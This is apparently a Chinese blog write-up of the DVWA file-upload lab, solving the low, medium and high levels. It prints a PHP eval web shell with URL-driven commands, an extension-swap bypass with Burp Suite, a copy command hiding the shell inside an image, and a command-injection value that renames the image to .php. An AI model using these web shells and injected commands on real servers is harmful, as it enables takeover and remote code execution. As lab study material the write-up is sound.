File Upload

File Upload

Posted by Kyon-H on August 1, 2023

文件上传漏洞

LOW

the.php

1
<?php eval($_GET['bckdor'])?> 

构造url: http://192.168.30.131/dvwa/hackable/uploads/the.php?bckdor=

1
2
phpinfo(); 
system('ls'); 

中国菜刀

1
<?php eval($_POST['bckdor'])?>

MEDIUM

将the.php改为the.jpg

burpsuit抓取request,修改文件后缀

HIGH

准备图片image.png和hack.php

1
2
3
#生成带有木马的图片
#image.png/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件
copy image.jpg/b+hack.php/a hack.jpg

利用Command Injection

1
127.0.0.1|mv ../../hackable/uploads/hack.jpg ../../hackable/uploads/hack.php